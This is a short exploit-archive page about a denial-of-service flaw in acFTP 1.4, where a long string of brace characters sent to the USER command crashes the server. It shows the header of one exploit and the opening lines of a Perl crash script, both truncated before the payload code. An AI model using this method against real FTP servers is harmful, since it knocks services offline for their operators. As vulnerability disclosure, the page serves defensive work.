acFTP 1.4 allows remote malicious users to cause a denial of service (application crash) via a long string with "{" (brace) characters to the USER command.
/**
Exploit for : acFTP 14 DoS Exploit
Advisory : secuniacom/advisories/19978/
Coder : Omnipresent
Email : omnipresent@emailit
Description : Preddy has discovered a vulnerability in acFTP, which can be exploited by malicious people to cause a DoS (Denial of Service)
The vulnerability is caused due to an error within the handling of the a ...
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#===== acFtpd BoF Crash Exploit =====
#
# There is a Buffer overflow at the
# USER command in acFtpd
#
# Vuln found by: Preddy
# RootShell Security Group
#
# Usage: ac_dospl <ip>
################################################
use IO::Socket;
use Win32;
use strict;
my($i) = "";
my($s ...